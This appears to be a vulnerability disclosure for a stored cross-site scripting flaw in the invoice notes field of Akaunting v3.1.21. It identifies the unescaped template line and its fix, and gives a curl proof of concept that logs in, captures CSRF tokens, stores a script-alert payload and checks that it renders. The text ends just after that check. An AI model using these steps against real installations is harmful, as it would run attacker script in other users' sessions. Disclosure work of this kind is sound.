Summary

A Stored Cross-Site Scripting (XSS) vulnerability was identified in Akaunting v3.1.21, an open-source accounting application. The vulnerability exists in the notes field of invoice and bill documents. When a user holding at least a Manager-level role (both Manager and Admin roles hold the create-sales-invoices permission; Accountant and Customer roles do not) creates an invoice containing an HTML/JavaScript payload in the Notes field, the payload is stored in the database without sanitization and later rendered unescaped in the browser of any user who views the document. This satisfies the criteria for a Stored (Persistent) XSS attack.

Affected Component

Application: Akaunting v3.1.21 (Laravel 10 / PHP)
Affected endpoint: POST /api/documents (Invoice / Bill creation)
Affected parameter: notes
Authenticated: Yes (Admin and Manager)

The payload is rendered unescaped in all three document templates:

File	Line
`resources/views/components/documents/template/default.blade.php`	322
`resources/views/components/documents/template/classic.blade.php`	350
`resources/views/components/documents/template/modern.blade.php`	318

Vulnerable Code

In all three template files, the notes field is rendered using the Blade unescaped output directive

The vulnerable line in each template file reads:

```
{!! nl2br($document->notes) !!}
```

1. **No input sanitization at the API layer.** The `notes` field in `app/Http/Requests/Document/Document.php` has no validation rule that strips or encodes HTML. The value is accepted as-is and persisted directly to the database.
2. **Unsafe rendering in views.** The developer chose `{!! nl2br($document->notes) !!}` to preserve line breaks, but this bypasses Blade's built-in output escaping. The correct approach is to HTML-encode the content first and then convert newlines: `{!! nl2br(e($document->notes)) !!}`, where `e()` is Laravel's HTML escape helper.

Because the payload is stored in the database and rendered every time the document is viewed, this is a Stored (Persistent) XSS, not a reflected one. Every user who opens the invoice executes the attacker's JavaScript automatically.

Proof of Concept

The following steps reproduce the vulnerability against a local Akaunting v3.1.21 instance. Authentication with a standard user account is required.

Step 1 - Authenticate and obtain session cookie

Retrieve the login page and extract the CSRF token:

```
curl -s -c /tmp/s.txt http://localhost:8080/auth/login -o /tmp/lp.html
CSRF=$(grep -oP '(?<=name="_token" value=")[^"]+' /tmp/lp.html)
echo "CSRF: $CSRF"
```

Submit credentials:

```
curl -s -c /tmp/s.txt -b /tmp/s.txt \
  -X POST http://localhost:8080/auth/login \
  -d "_token=${CSRF}&email=admin%40test.com&password=Admin1234%21" \
  -o /dev/null
```

Refresh the session and obtain an authenticated CSRF token:

```
curl -s -c /tmp/s.txt -b /tmp/s.txt http://localhost:8080/1 -L -o /dev/null
curl -s -c /tmp/s.txt -b /tmp/s.txt
http://localhost:8080/1/sales/invoices/create \
  -o /tmp/inv.html
CSRF2=$(grep -oP '(?<="csrfToken":")[^"]+' /tmp/inv.html)
echo "Auth CSRF: $CSRF2"
```

Step 2 - Create an invoice with an XSS payload in the Notes field

The payload below creates an invoice through the web API. The `notes` parameter carries the XSS payload:

```
curl -s -c /tmp/s.txt -b /tmp/s.txt \
  -X POST http://localhost:8080/1/sales/invoices \
  -H "Accept: application/json" \
  -H "X-CSRF-TOKEN: $CSRF2" \
  -d "_token=$CSRF2" \
  -d "type=invoice" \
```

```
  -d "document_number=INV-XSS-001" \
  -d "issued_at=2026-03-19" \
  -d "due_at=2026-04-19" \
  -d "currency_code=USD" \
  -d "notes=<script>alert('XSS_NOTES')</script>"
```

Expected response: HTTP 200 with a JSON body containing the created invoice ID.

Step 3 - Trigger the stored payload by viewing the invoice

Any authenticated user who views the invoice will have the payload executed in their browser. To verify the raw HTML output without a browser:

```
curl -s -b /tmp/s.txt http://localhost:8080/1/sales/invoices/1 \
  | grep -o "alert[^)]*)"
```

Expected output:

```
alert('XSS_NOTES')
```

In a real browser, navigating to the invoice show page causes the JavaScript alert to fire, confirming execution of the injected code: